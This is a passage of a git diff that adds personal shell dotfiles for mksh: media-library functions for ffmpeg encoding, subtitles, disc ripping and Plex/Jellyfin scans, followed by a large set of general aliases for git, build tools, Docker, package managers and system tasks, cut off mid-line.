subs='subliminal download -l en' +alias subsall='find . -name "*.mkv" -exec subliminal download -l en {} \;' + +# collection browsing +alias moviesize='du -sh /media/movies/*/ 2>/dev/null | sort -rh | head -20' + +# transmission (torrent) +alias tr='transmission-remote' +alias tra='transmission-remote -a' +alias trl='transmission-remote -l' +alias trs='transmission-remote -t all -s' +alias trp='transmission-remote -t all -S' + +# plex / jellyfin +alias plexstatus='curl -s http://localhost:32400/identity 2>/dev/null && echo "Plex: UP" || echo "Plex: DOWN"' +alias jfstatus='curl -s http://localhost:8096/System/Info/Public 2>/dev/null | head -1 && echo "Jellyfin: UP" || echo "Jellyfin: DOWN"' + +# ============================================================================ +# functions +# ============================================================================ + +# move each video file into its own folder +file2folder() { + dir="${1:-.}" + for f in "$dir"/*.mkv "$dir"/*.mp4 "$dir"/*.avi; do + [ -f "$f" ] || continue + d="${f%.*}" + mkdir -p "$d" + mv "$f" "$d/" + echo " $f -> $d/" + done +} + +# rename movie to "Title (Year).ext" format +rename_movie() { + file="$1"; title="$2"; year="$3" + [ -z "$year" ] && { echo "Usage: rename_movie <file> <title> <year>"; return 1; } + ext="${file##*.}" + newname="${title} (${year}).${ext}" + mv -- "$file" "$newname" + echo "Renamed: $file -> $newname" +} + +# bulk download subtitles for a directory +getsubs() { + lang="${1:-en}" + dir="${2:-.}" + find "$dir" -type f \( -name '*.mkv' -o -name '*.mp4' -o -name '*.avi' \) \ + -exec subliminal download -l "$lang" {} \; +} + +# find duplicate videos by hash +finddupes() { + dir="${1:-.}" + find "$dir" -type f \( -iname '*.mkv' -o -iname '*.mp4' -o -iname '*.avi' \) \ + -print0 | xargs -0 sha256sum | sort | uniq -w64 -dD +} + +# generate minimal Kodi .nfo from IMDB ID +mknfo() { + imdb_id="$1"; movie_dir="$2" + [ -z "$movie_dir" ] && { echo "Usage: mknfo <imdb-id> <movie-dir>"; return 1; } + echo "https://www.imdb.com/title/${imdb_id}/" > "$movie_dir/movie.nfo" + echo "Created: $movie_dir/movie.nfo" +} + +# play all videos in a directory +mpvdir() { + dir="${1:-.}" + find "$dir" -type f \( -iname '*.mkv' -o -iname '*.mp4' -o -iname '*.avi' \ + -o -iname '*.webm' \) | sort | mpv --playlist=- +} + +# shuffle play a directory +mpvrand() { + dir="${1:-.}" + find "$dir" -type f \( -iname '*.mkv' -o -iname '*.mp4' \) | shuf | mpv --playlist=- +} + +# query current mpv playback via IPC socket +mpvnow() { + socket="${1:-/tmp/mpv-socket}" + [ ! -S "$socket" ] && { echo "No mpv instance running"; return 1; } + title=$(echo '{ "command": ["get_property", "media-title"] }' | socat - "$socket" | jq -r '.data') + pos=$(echo '{ "command": ["get_property", "playback-time"] }' | socat - "$socket" | jq -r '.data') + dur=$(echo '{ "command": ["get_property", "duration"] }' | socat - "$socket" | jq -r '.data') + printf "Now playing: %s\nPosition: %s / %s\n" "$title" \ + "$(date -u -d @${pos%.*} +%H:%M:%S 2>/dev/null || echo "${pos%.*}s")" \ + "$(date -u -d @${dur%.*} +%H:%M:%S 2>/dev/null || echo "${dur%.*}s")" +} + +# random unwatched movie picker +randmovie() { + dir="${1:-/media/movies}" + watched="$HOME/.watched" + touch "$watched" + pick=$(find "$dir" -maxdepth 2 -type f \( -iname '*.mkv' -o -iname '*.mp4' \) | \ + grep -vFf "$watched" | shuf -n1) + [ -z "$pick" ] && { echo "All watched! Clearing history..."; > "$watched"; pick=$(find "$dir" -maxdepth 2 -type f \( -iname '*.mkv' -o -iname '*.mp4' \) | shuf -n1); } + echo "Tonight's pick: $(basename "$pick")" + echo "$pick" >> "$watched" +} + +# x265 CRF encoding +encode265() { + input="$1"; output="${2:-${input%.*}_x265.mkv}"; crf="${3:-20}" + [ -z "$input" ] && { echo "Usage: encode265 <input> [output] [crf]"; return 1; } + ffmpeg -i "$input" -c:v libx265 -preset slow -crf "$crf" \ + -x265-params "aq-mode=3:rd=4" -c:a copy -c:s copy "$output" +} + +# x264 two-pass encoding +encode264_2pass() { + input="$1"; output="${2:-${input%.*}_x264.mkv}"; bitrate="${3:-8000k}" + [ -z "$input" ] && { echo "Usage: encode264_2pass <input> [output] [bitrate]"; return 1; } + ffmpeg -y -i "$input" -c:v libx264 -preset slow -b:v "$bitrate" -pass 1 -an -f null /dev/null + ffmpeg -i "$input" -c:v libx264 -preset slow -b:v "$bitrate" -pass 2 -c:a aac -b:a 192k "$output" + rm -f ffmpeg2pass-0.log ffmpeg2pass-0.log.mbtree +} + +# AV1 encoding with SVT-AV1 +encodeav1() { + input="$1"; output="${2:-${input%.*}_av1.mkv}"; crf="${3:-30}" + [ -z "$input" ] && { echo "Usage: encodeav1 <input> [output] [crf]"; return 1; } + ffmpeg -i "$input" -c:v libsvtav1 -preset 6 -crf "$crf" \ + -pix_fmt yuv420p10le -c:a libopus -b:a 128k -c:s copy "$output" +} + +# HDR to SDR tonemapping +hdr2sdr() { + input="$1"; output="${2:-${input%.*}_sdr.mkv}" + [ -z "$input" ] && { echo "Usage: hdr2sdr <input> [output]"; return 1; } + ffmpeg -i "$input" \ + -vf "zscale=t=linear:npl=100,format=gbrpf32le,zscale=p=bt709,tonemap=tonemap=hable:desat=0,zscale=t=bt709:m=bt709:r=tv,format=yuv420p" \ + -c:v libx265 -preset slow -crf 18 -c:a copy -c:s copy "$output" +} + +# burn subtitles into video +burnsubs() { + input="$1"; srt="$2"; output="${3:-${input%.*}_hardsub.mp4}" + [ -z "$srt" ] && { echo "Usage: burnsubs <video> <srt> [output]"; return 1; } + ffmpeg -i "$input" -vf "subtitles='${srt}':force_style='FontSize=24'" \ + -c:v libx264 -crf 18 -preset slow -c:a copy "$output" +} + +# batch transcode directory to x265 +batch_x265() { + indir="${1:-.}"; outdir="${2:-./encoded}"; crf="${3:-22}" + mkdir -p "$outdir" + find "$indir" -type f \( -iname '*.mkv' -o -iname '*.mp4' -o -iname '*.avi' \) | while read -r f; do + base=$(basename "$f") + out="$outdir/${base%.*}.mkv" + [ -f "$out" ] && { echo "Skip: $out exists"; continue; } + echo "Encoding: $f" + ffmpeg -i "$f" -c:v libx265 -preset medium -crf "$crf" \ + -c:a aac -b:a 192k -c:s copy "$out" + done +} + +# extract all subtitle tracks from MKV +extract_subs() { + input="$1" + [ -z "$input" ] && { echo "Usage: extract_subs <file>"; return 1; } + basename="${input%.*}" + ffprobe -v error -select_streams s -show_entries stream=index:stream_tags=language \ + -of csv=p=0 "$input" | while IFS=',' read -r idx lang; do + lang="${lang:-und}" + ffmpeg -y -nostdin -i "$input" -map 0:"$idx" "${basename}_${lang}_${idx}.srt" + echo "Extracted: ${basename}_${lang}_${idx}.srt" + done +} + +# extract all audio tracks +extract_audio() { + input="$1" + [ -z "$input" ] && { echo "Usage: extract_audio <file>"; return 1; } + basename="${input%.*}" + ffprobe -v error -select_streams a -show_entries stream=index,codec_name:stream_tags=language \ + -of csv=p=0 "$input" | while IFS=',' read -r idx codec lang; do + lang="${lang:-und}" + case "$codec" in + aac) ext="aac" ;; ac3) ext="ac3" ;; eac3) ext="eac3" ;; + dts) ext="dts" ;; flac) ext="flac" ;; opus) ext="opus" ;; + *) ext="mka" ;; + esac + ffmpeg -y -i "$input" -map 0:"$idx" -c copy "${basename}_${lang}.${ext}" + done +} + +# human-readable duration +vlen() { + secs=$(ffprobe -v error -show_entries format=duration -of default=nw=1:nk=1 "$1" | cut -d. -f1) + printf "%02d:%02d:%02d\n" $((secs/3600)) $(((secs%3600)/60)) $((secs%60)) +} + +# show every stream in a file +streams() { + ffprobe -v error -show_entries \ + stream=index,codec_type,codec_name,width,height,channels:stream_tags=language,title \ + -of json "$1" | jq -r '.streams[] | + if .codec_type == "video" then " [\(.index)] VIDEO: \(.codec_name) \(.width)x\(.height)" + elif .codec_type == "audio" then " [\(.index)] AUDIO: \(.codec_name) \(.channels)ch [\(.tags.language // "und")]" + elif .codec_type == "subtitle" then " [\(.index)] SUBS: \(.codec_name) [\(.tags.language // "und")] \(.tags.title // "")" + else " [\(.index)] \(.codec_type): \(.codec_name)" + end' +} + +# collection stats: codec, resolution, total size +collstats() { + dir="${1:-.}" + echo "=== Collection Stats ===" + echo "Total files: $(find "$dir" -type f \( -iname '*.mkv' -o -iname '*.mp4' \) | wc -l)" + echo "" + echo "By codec:" + find "$dir" -type f \( -iname '*.mkv' -o -iname '*.mp4' \) -exec \ + ffprobe -v error -select_streams v:0 -show_entries stream=codec_name -of csv=p=0 {} \; 2>/dev/null | \ + sort | uniq -c | sort -rn + echo "" + echo "By resolution:" + find "$dir" -type f \( -iname '*.mkv' -o -iname '*.mp4' \) -exec \ + ffprobe -v error -select_streams v:0 -show_entries stream=height -of csv=p=0 {} \; 2>/dev/null | \ + sort -n | uniq -c | sort -rn + echo "" + echo "Total size: $(du -sh "$dir" 2>/dev/null | cut -f1)" +} + +# generate thumbnail contact sheet +contactsheet() { + input="$1"; output="${2:-${input%.*}_contact.jpg}" + cols="${3:-4}"; rows="${4:-6}" + [ -z "$input" ] && { echo "Usage: contactsheet <video> [output] [cols] [rows]"; return 1; } + total=$((cols * rows)) + dur=$(ffprobe -v error -show_entries format=duration -of default=nw=1:nk=1 "$input" | cut -d. -f1) + interval=$((dur / (total + 1))) + ffmpeg -i "$input" \ + -vf "fps=1/${interval},scale=320:-1,tile=${cols}x${rows}" \ + -frames:v 1 -q:v 2 "$output" + echo "Contact sheet: $output" +} + +# animated GIF preview +preview_gif() { + input="$1"; output="${2:-${input%.*}_preview.gif}" + start="${3:-60}"; length="${4:-5}" + [ -z "$input" ] && { echo "Usage: preview_gif <video> [output] [start] [length]"; return 1; } + ffmpeg -ss "$start" -t "$length" -i "$input" \ + -vf "fps=10,scale=480:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse" \ + -loop 0 "$output" +} + +# rip disc with MakeMKV +ripdisc() { + output="${1:-$HOME/rips}"; minlength="${2:-120}" + mkdir -p "$output" + echo "[*] Scanning disc..." + makemkvcon info disc:0 --minlength="$minlength" --robot 2>/dev/null + echo "[*] Ripping..." + makemkvcon mkv disc:0 all "$output" --minlength="$minlength" --robot + echo "[+] Done. Files in: $output" + eject /dev/sr0 2>/dev/null +} + +# batch convert ISOs to MKV +iso2mkv() { + isodir="${1:-.}"; outdir="${2:-./mkv}" + mkdir -p "$outdir" + find "$isodir" -iname '*.iso' | while read -r iso; do + name=$(basename "$iso" .iso) + dest="$outdir/$name" + mkdir -p "$dest" + echo "Processing: $iso" + makemkvcon mkv iso:"$iso" all "$dest" --minlength=120 + done +} + +# HandBrake Blu-ray preset +hb_bluray() { + input="$1"; output="${2:-${input%.*}_hb.mkv}" + [ -z "$input" ] && { echo "Usage: hb_bluray <input> [output]"; return 1; } + HandBrakeCLI -i "$input" -o "$output" \ + --preset="HQ 1080p30 Surround" \ + --encoder x265 --encoder-preset slow --quality 20 \ + --all-audio --audio-lang-list eng,und --all-subtitles +} + +# search TMDB (requires TMDB_API_KEY env var) +tmdb() { + [ -z "$TMDB_API_KEY" ] && { echo "Set TMDB_API_KEY first"; return 1; } + query=$(echo "$*" | sed 's/ /%20/g') + curl -s "https://api.themoviedb.org/3/search/movie?api_key=${TMDB_API_KEY}&query=${query}" | \ + jq -r '.results[:5][] | "\(.title) (\(.release_date[:4])) - Rating: \(.vote_average)"' +} + +# OMDB lookup (requires OMDB_API_KEY env var) +imdbrating() { + [ -z "$OMDB_API_KEY" ] && { echo "Set OMDB_API_KEY first"; return 1; } + title=$(echo "$*" | tr ' ' '+') + curl -s "http://www.omdbapi.com/?t=${title}&apikey=${OMDB_API_KEY}" | \ + jq -r '" \(.Title) (\(.Year)) - IMDb: \(.imdbRating)/10 - Director: \(.Director)"' +} + +# trigger Plex library scan (requires PLEX_TOKEN env var) +plexscan() { + section="${1:-1}" + [ -z "$PLEX_TOKEN" ] && { echo "Set PLEX_TOKEN first"; return 1; } + curl -s "http://localhost:32400/library/sections/${section}/refresh?X-Plex-Token=${PLEX_TOKEN}" -X PUT + echo "Plex scan triggered for section $section" +} + +# trigger Jellyfin library scan (requires JELLYFIN_API_KEY env var) +jfscan() { + [ -z "$JELLYFIN_API_KEY" ] && { echo "Set JELLYFIN_API_KEY first"; return 1; } + curl -s -X POST "http://localhost:8096/Library/Refresh?api_key=${JELLYFIN_API_KEY}" + echo "Jellyfin scan triggered" +} + +# archival-quality download with all metadata +ytarchive() { + yt-dlp \ + -f "bestvideo+bestaudio" \ + --merge-output-format mkv \ + --write-sub --write-auto-sub \ + --sub-lang "en,es,fr,de,ja" \ + --convert-subs srt --embed-subs \ + --embed-thumbnail --embed-metadata --embed-chapters \ + --write-info-json \ + --download-archive "$HOME/.ytdl-archive.txt" \ + -o "%(title)s (%(upload_date>%Y)s) [%(height)sp].%(ext)s" \ + "$@" +} + +# archive entire channel +ytchannel() { + [ -z "$1" ] && { echo "Usage: ytchannel <channel-url>"; return 1; } + yt-dlp \ + -f "bestvideo[height>=1080]+bestaudio/bestvideo+bestaudio/best" \ + --merge-output-format mkv \ + --embed-subs --embed-thumbnail --embed-metadata --embed-chapters \ + --download-archive archive.txt \ + -o "%(uploader)s/%(upload_date)s - %(title)s [%(id)s].%(ext)s" \ + --sponsorblock-mark all "$1" +} + +# ffmpeg cheat sheet +ffcheat() { + cat << 'EOF' +=== FFmpeg Cheat Sheet === +Remux: ffmpeg -i in.mkv -c copy out.mp4 +Scale: ffmpeg -i in.mkv -vf scale=1920:1080 out.mkv +Trim: ffmpeg -ss 00:01:00 -t 00:02:00 -i in.mkv -c copy out.mkv +Extract audio: ffmpeg -i in.mkv -vn -c:a copy out.aac +Strip audio: ffmpeg -i in.mkv -an -c:v copy out.mkv +Add subs: ffmpeg -i in.mkv -i subs.srt -c copy -c:s srt out.mkv +Concat: ffmpeg -f concat -i list.txt -c copy out.mkv +GIF: ffmpeg -ss 5 -t 3 -i in.mkv -vf "fps=10,scale=320:-1" out.gif +Thumbnail: ffmpeg -i in.mkv -vf "thumbnail" -frames:v 1 thumb.jpg +HDR->SDR: ffmpeg -i hdr.mkv -vf "zscale=t=linear:npl=100,..." sdr.mkv +EOF +} diff --git a/.config/.mksh/core.sh b/.config/.mksh/core.sh new file mode 100644 index 0000000000000000000000000000000000000000..7f111879a2fbaea12dd2638b5057944f1074253b --- /dev/null +++ b/.config/.mksh/core.sh @@ -0,0 +1,1519 @@ +# core -- base aliases and functions (always loaded) +# Curated from: mathiasbynens, paulirish, jessfraz, holman, thoughtbot, +# brendangregg, and years of collective shell wisdom. + +# ============================================================================ +# EDITOR +# ============================================================================ +alias v='nvim' +alias vi='nvim' +alias vim='nvim' +alias e='$EDITOR' +alias vd='nvim -d' # diff mode +alias vr='nvim -R' # read-only +alias sv='sudo nvim' + +# Nvim profiles +alias write='NVIM_APPNAME=write nvim' +alias code='NVIM_APPNAME=code nvim' + +# ============================================================================ +# MODERN REPLACEMENTS (install: pacman -S eza bat fd ripgrep dust duf procs) +# ============================================================================ +alias ls='eza --icons --classify=auto --color=auto --group-directories-first' +alias la='eza -la --icons --git --group-directories-first' +alias ll='eza -l --icons --git --group-directories-first' +alias lt='eza --tree --icons --level=3' +alias lta='eza --tree --icons -a --level=3' +alias lm='eza -l --sort=modified --reverse' +alias lk='eza -l --sort=size --reverse' +alias cat='bat -P' +alias grep='rg --smart-case' +alias find='fd' +alias du='dust' +alias df='duf' +alias ps='procs' +alias top='btop' +alias htop='btop' +alias wc='tokei' + +# ============================================================================ +# NAVIGATION +# ============================================================================ +alias ..='cd ..' +alias ...='cd ../..' +alias ....='cd ../../..' +alias .....='cd ../../../..' +alias -- -='cd -' +alias cdg='cd $(git rev-parse --show-toplevel 2>/dev/null || echo .)' + +# ============================================================================ +# GIT -- SPEED +# ============================================================================ +alias g='git' +alias gs='git status -sb' +alias ga='git add' +alias gaa='git add -A' +alias gap='git add -p' +alias gc='git commit' +alias gcm='git commit -m' +alias gca='git commit --amend --no-edit' +alias gcam='git commit --amend' +alias gco='git checkout' +alias gcb='git checkout -b' +alias gsw='git switch' +alias gswc='git switch -c' +alias gd='git diff' +alias gds='git diff --staged' +alias gdw='git diff --word-diff' +alias gdn='git diff --name-only' +alias gl='git log --oneline -20' +alias glo='git log --oneline --graph --all --decorate -30' +alias glp='git log -p -5' +alias gls='git log --stat -10' +alias glf='git log --follow -p' +alias gb='git branch -vv' +alias gbd='git branch -d' +alias gbD='git branch -D' +alias gf='git fetch --all --prune' +alias gp='git push' +alias gpu='git push -u origin HEAD' +alias gpf='git push --force-with-lease' +alias gpl='git pull --rebase' +alias grb='git rebase' +alias grbi='git rebase -i' +alias grbc='git rebase --continue' +alias grba='git rebase --abort' +alias gst='git stash' +alias gstp='git stash pop' +alias gstl='git stash list' +alias gstd='git stash drop' +alias gsts='git stash show -p' +alias gcp='git cherry-pick' +alias gcpc='git cherry-pick --continue' +alias gcpa='git cherry-pick --abort' +alias grs='git reset' +alias grsh='git reset --hard' +alias grss='git reset --soft HEAD~1' +alias grl='git reflog -20' +alias gbl='git blame -w -C -C -C' +alias gwt='git worktree' +alias gwta='git worktree add' +alias gwtl='git worktree list' +alias gwtr='git worktree remove' +alias gbis='git bisect' +alias gclean='git clean -fd' +alias gtag='git tag -a' + +# GIT -- LOG FORMATS +alias glog='git log --graph --abbrev-commit --decorate --all --format=format:"%C(bold blue)%h%C(reset) - %C(bold green)(%ar)%C(reset) %C(white)%s%C(reset) %C(dim white)- %an%C(reset)%C(bold yellow)%d%C(reset)"' +alias glogd='git log --graph --abbrev-commit --decorate --all --format=format:"%C(bold blue)%h%C(reset) - %C(bold cyan)%aD%C(reset) %C(bold green)(%ar)%C(reset)%C(bold yellow)%d%C(reset)%n %C(white)%s%C(reset) %C(dim white)- %an%C(reset)"' +alias gwho='git shortlog -sn --all' + +# GIT -- MAINTENANCE +alias gprune='git remote prune origin' +alias gcleanup='git branch --merged main | grep -v "main\|master\|\*" | xargs -r git branch -d' +alias gorphan='git fsck --unreachable --no-reflogs' +alias ggc='git gc --aggressive --prune=now' + +# ============================================================================ +# BUILD -- C / SYSTEMS +# ============================================================================ +alias mk='make -j$(nproc)' +alias mkc='make clean' +alias mki='sudo make clean install' +alias mkd='make DEBUG=1 -j$(nproc)' +alias mkv='make V=1 -j$(nproc)' + +alias cc99='cc -std=c99 -Wall -Wextra -Wpedantic' +alias cc11='cc -std=c11 -Wall -Wextra -Wpedantic' +alias cc23='cc -std=c23 -Wall -Wextra -Wpedantic' +alias ccd='cc -std=c11 -Wall -Wextra -Wpedantic -g -O0 -fsanitize=address,undefined' +alias ccr='cc -std=c11 -O3 -march=native -flto -DNDEBUG' +alias ccp='cc -std=c11 -Wall -Wextra -Wpedantic -pg -g' + +alias cppcheck='cppcheck --enable=all --suppress=missingIncludeSystem' +alias splint='splint +posixlib' +alias scan='scan-build make' + +# ============================================================================ +# BUILD -- GO +# ============================================================================ +alias gor='go run .' +alias gob='go build .' +alias got='go test ./...' +alias gotv='go test -v ./...' +alias gotr='go test -race ./...' +alias gotc='go test -cover ./...' +alias gof='go fmt ./...' +alias gov='go vet ./...' +alias gol='golangci-lint run' +alias gom='go mod tidy' +alias god='go doc' + +# ============================================================================ +# BUILD -- RUST +# ============================================================================ +alias cr='cargo run' +alias crr='cargo run --release' +alias cb='cargo build' +alias cbr='cargo build --release' +alias ct='cargo test' +alias ctv='cargo test -- --nocapture' +alias cf='cargo fmt' +alias cl='cargo clippy' +alias cdoc='cargo doc --open' +alias cbench='cargo bench' +alias cwat='cargo watch -x check' + +# ============================================================================ +# BUILD -- NODE / JS / TS +# ============================================================================ +alias ni='npm install' +alias nid='npm install --save-dev' +alias nr='npm run' +alias nrd='npm run dev' +alias nrb='npm run build' +alias nrt='npm run test' +alias nrl='npm run lint' +alias nx='npx' +alias pi='pnpm install' +alias pr='pnpm run' +alias prd='pnpm dev' +alias prb='pnpm build' +alias prt='pnpm test' +alias px='pnpm dlx' + +# ============================================================================ +# BUILD -- PYTHON +# ============================================================================ +alias py='python3' +alias pip='python3 -m pip' +alias venv='python3 -m venv .venv' +alias va='. .venv/bin/activate' +alias pyserv='python3 -m http.server' +alias pyt='python3 -m pytest' +alias pytv='python3 -m pytest -v' +alias pyf='python3 -m black .' +alias pyl='python3 -m ruff check .' + +# ============================================================================ +# DOCKER / CONTAINERS +# ============================================================================ +alias d='docker' +alias dc='docker compose' +alias dcu='docker compose up -d' +alias dcd='docker compose down' +alias dcr='docker compose restart' +alias dcl='docker compose logs -f' +alias dcp='docker compose ps' +alias dcb='docker compose build' +alias dce='docker compose exec' +alias di='docker images' +alias dps='docker ps --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}"' +alias dpsa='docker ps -a --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}"' +alias drm='docker rm' +alias drmi='docker rmi' +alias dprune='docker system prune -af --volumes' +alias dlog='docker logs -f' +alias dex='docker exec -it' +alias dstop='docker stop $(docker ps -q)' + +# ============================================================================ +# DEBUGGING / TRACING +# ============================================================================ +alias gdb='gdb -q' +alias val='valgrind --leak-check=full --show-leak-kinds=all --track-origins=yes' +alias valmem='valgrind --tool=massif' +alias valcache='valgrind --tool=cachegrind' +alias stf='strace -f -e trace=file' +alias stn='strace -f -e trace=%net' +alias stp='strace -f -e trace=%process' +alias stw='strace -f -e trace=write' +alias ltr='ltrace -c' +alias perf-top='perf top' +alias perf-stat='perf stat' +alias perf-record='perf record -g' +alias perf-report='perf report' + +# ============================================================================ +# KERNEL DEVELOPMENT +# ============================================================================ +alias kmake='make -j$(nproc) 2>&1 | tail -20' +alias kmod='lsmod | sort' +alias klog='dmesg -wH' +alias klogc='sudo dmesg -c' +alias klogf='dmesg --follow --level=err,warn' +alias kconfig='make menuconfig' +alias kdefconfig='make defconfig' +alias kclean='make mrproper' + +# ============================================================================ +# TMUX +# ============================================================================ +alias t='tmux' +alias ta='tmux new -A -s' +alias tl='tmux list-sessions' +alias td='tmux detach' +alias tk='tmux kill-session -t' +alias tka='tmux kill-server' +alias ts='tmux split-window' +alias tv='tmux split-window -h' +alias tw='tmux new-window' + +# ============================================================================ +# NETWORK +# ============================================================================ +alias myip='curl -s ifconfig.me' +alias myip6='curl -s ifconfig.me/ip6' +alias ports='ss -tlnp' +alias portsa='ss -tlunp' +alias pingg='ping -c 3 1.1.1.1' +alias header='curl -sI' +alias weather='curl -s wttr.in/?format=3' + +# ============================================================================ +# SYSTEM +# ============================================================================ +alias reload='exec $SHELL' +alias path='echo $PATH | tr ":" "\n"' +alias now='date +"%Y-%m-%d %H:%M:%S"' +alias epoch='date +%s' +alias h='history | tail -30' +alias j='jobs -l' +alias mkdir='mkdir -pv' +alias cp='cp -iv' +alias mv='mv -iv' +alias ln='ln -iv' +alias rm='rm -Iv' +alias chmod='chmod -v' +alias chown='chown -v' +alias cls='clear' +alias q='exit' +alias ka='killall' +alias logout='pkill -KILL -u krisyotam' +alias lock='slock' +alias shutdown='sudo shutdown now' +alias restart='sudo reboot' + +# ============================================================================ +# SEARCH / FIND +# ============================================================================ +alias rgf='rg --files-with-matches' +alias rgc='rg --count' +alias rgl='rg -l' +alias fdf='fd --type f' +alias fdd='fd --type d' +alias fdh='fd --hidden' + +# ============================================================================ +# PACKAGE MANAGEMENT (Arch) +# ============================================================================ +alias pac='sudo pacman -S' +alias pacu='sudo pacman -Syu' +alias pacr='sudo pacman -Rns' +alias pacs='pacman -Ss' +alias pacq='pacman -Qi' +alias pacl='pacman -Ql' +alias paco='pacman -Qtdq' +alias pacclean='sudo pacman -Rns $(pacman -Qtdq)' +alias yay='paru' +alias sp='sudo pacman' + +# ============================================================================ +# GENTOO / PORTAGE +# ============================================================================ +alias sync='sudo emerge --sync' +alias eup='sudo emerge -uUD @world' +alias eupq='sudo emerge -uUDq @world' +alias epv='emerge -pv' +alias eav='emerge -av' +alias esearch='emerge -sS' +alias eins='sudo emerge' +alias erms='sudo emerge -Rns' +alias edeselect='sudo emerge --deselect' +alias edeps='emerge -c' +alias revdep='sudo revdep-rebuild -v' +alias emodrebuild='sudo emerge @module-rebuild' +alias dconf='sudo dispatch-conf' +alias eqf='equery f' +alias eqb='equery b' +alias eql='equery l' +alias eqd='equery d' +alias equ='equery uses' +alias eqhasuse='equery hasuse' +alias eqk='equery check' +alias eclean='sudo eclean-dist && sudo eclean-pkg' +alias ecleandist='sudo eclean-dist' +alias ecleanpkg='sudo eclean-pkg' +alias emaint='sudo emaint -a' +alias genlop='genlop -l' +alias qlist='qlist -IRv' +alias qcheck='qcheck -v' +alias eix='eix' +alias euse-info='euse -i' +alias euse-set='euse -E' +alias euse-unset='euse -D' + +# ============================================================================ +# SOURCEHUT +# ============================================================================ +alias sg='hut git' +alias sb='hut builds' +alias st='hut todo' +alias sl='hut lists' +alias sgl='hut git list' +alias sbl='hut builds list' +alias sbf='hut builds show -f' +alias sbssh='hut builds ssh' +alias stl='hut todo ticket list' +alias sll='hut lists list' +alias sgql='hut graphql' +alias spatch='git send-email' + +# ============================================================================ +# BENCHMARKING +# ============================================================================ +alias bench='hyperfine' +alias benchw='hyperfine --warmup 3' + +# ============================================================================ +# ENCODING / HASHING +# ============================================================================ +alias b64e='base64' +alias b64d='base64 -d' +alias md5='md5sum' +alias sha1='sha1sum' +alias sha256='sha256sum' +alias sha512='sha512sum' +alias hex='xxd' + +# ============================================================================ +# PLAN 9 +# ============================================================================ +alias 9mk='mk' +alias 9mkc='mk clean' +alias 9mki='mk install' +alias 9c='9c' +alias 9l='9l' +alias 9p='9p' +alias plumb='plumber' + +# ============================================================================ +# SUCKLESS +# ============================================================================ +alias cdwm='cd ~/src/dwm' +alias cst='cd ~/src/st' +alias cdmenu='cd ~/src/dmenu' +alias cblocks='cd ~/src/dwmblocks' + +# ============================================================================ +# SSH / REMOTE +# ============================================================================ +alias sshkey='cat ~/.ssh/id_ed25519.pub' +alias scpd='scp -r' +alias rsync='rsync -avhP --partial' + +# ============================================================================ +# CLIPBOARD +# ============================================================================ +alias clip='xclip -selection clipboard' +alias clipo='xclip -selection clipboard -o' + +# ============================================================================ +# SYSTEMD +# ============================================================================ +alias sc='systemctl' +alias scs='systemctl status' +alias scr='systemctl restart' +alias sce='systemctl enable' +alias scd='systemctl disable' +alias scl='systemctl list-units --type=service --state=running' +alias jl='journalctl -e' +alias jlf='journalctl -f' +alias jlu='journalctl -u' + +# ============================================================================ +# FILE PERMISSIONS +# ============================================================================ +alias cx='chmod +x' +alias perm644='chmod 644' +alias perm755='chmod 755' +alias perm700='chmod 700' +alias own='sudo chown -R $(whoami):$(whoami)' + +# ============================================================================ +# QUICK EDITS +# ============================================================================ +alias fishrc='$EDITOR ~/.config/fish/config.fish' +alias mkshrc='$EDITOR ~/.mkshrc' +alias planrc='$EDITOR ~/.planrc' +alias vimrc='$EDITOR ~/.config/nvim/init.lua' +alias tmuxrc='$EDITOR ~/.tmux.conf' +alias gitrc='$EDITOR ~/.gitconfig' +alias nvimrc='$EDITOR ~/.config/nvim/init.lua' + +# ============================================================================ +# DISK / HARDWARE +# ============================================================================ +alias lsblk='lsblk -o NAME,SIZE,TYPE,FSTYPE,MOUNTPOINT,LABEL' +alias temps='sensors 2>/dev/null || cat /sys/class/thermal/thermal_zone*/temp' +alias mem='free -h' +alias cpuinfo='lscpu | head -20' + +# ============================================================================ +# TAILSCALE +# ============================================================================ +alias tss='tailscale status' +alias tsip='tailscale ip -4' +alias tsup='sudo tailscale up' + +# ============================================================================ +# DISK / FILESYSTEM +# ============================================================================ +alias btrfs-sub='sudo btrfs subvolume' +alias btrfs-snap='sudo btrfs subvolume snapshot' +alias btrfs-list='sudo btrfs subvolume list' +alias btrfs-usage='sudo btrfs filesystem usage' +alias btrfs-scrub='sudo btrfs scrub' +alias zfs-snap='sudo zfs snapshot' +alias zfs-list='sudo zfs list' +alias zpool-status='sudo zpool status' +alias smartall='sudo smartctl -a' +alias smartquick='sudo smartctl -t short' +alias hdtest='sudo hdparm -Tt' +alias blkid='sudo blkid' +alias findmnt='findmnt -l' + +# ============================================================================ +# MEDIA / DOWNLOADS +# ============================================================================ +alias yt='yt-dlp --embed-metadata -i' +alias yta='yt-dlp -x -f bestaudio/best' +alias ytp='yt-dlp --yes-playlist' +alias ytv='yt-dlp -f "bestvideo[ext=mp4]+bestaudio"' +alias ytsub='yt-dlp --write-auto-subs' +alias ffcopy='ffmpeg -hide_banner -c copy' +alias ffconcat='ffmpeg -hide_banner -f concat -safe 0 -i' +alias ffinfo='ffprobe -hide_banner -show_format -show_streams' +alias ffthumb='ffmpeg -hide_banner -ss 00:05:00 -i' +alias mpvloop='mpv --loop' +alias mpvnosub='mpv --no-sub' +alias gd='gallery-dl' +alias aria='aria2c -x 4' + +# ============================================================================ +# IRC / CHAT +# ============================================================================ +alias irc='catgirl' + +# ============================================================================ +# LATEX / TYPESETTING +# ============================================================================ +alias ltx='latexmk -pdf' +alias ltxw='latexmk -pdf -pvc' +alias ltxc='latexmk -c' +alias ltxC='latexmk -C' +alias pdflatex='pdflatex -interaction=nonstopmode -shell-escape' +alias xelatex='xelatex -interaction=nonstopmode' +alias lualatex='lualatex -interaction=nonstopmode' +alias groff='groff -Tpdf' +alias mandoc='mandoc -Tpdf' +alias pandoc-pdf='pandoc -t pdf -f markdown' +alias pandoc-html='pandoc -t html5 -f markdown' + +# ============================================================================ +# COMPRESSION +# ============================================================================ +alias tarbz='tar -cjvf' +alias tarxz='tar -cJvf' +alias tarzstd='tar --zstd -cvf' +alias zipmax='zip -9 -r' +alias 7zmax='7z a -mx=9' +alias untar='tar -zxvf' + +# ============================================================================ +# SAFETY NETS +# ============================================================================ +alias wget='wget -c' + +# ============================================================================ +# APPLICATIONS +# ============================================================================ +alias browser='$BROWSER &' +alias z='zathura' +alias bin='nnn ~/.local/bin' +alias 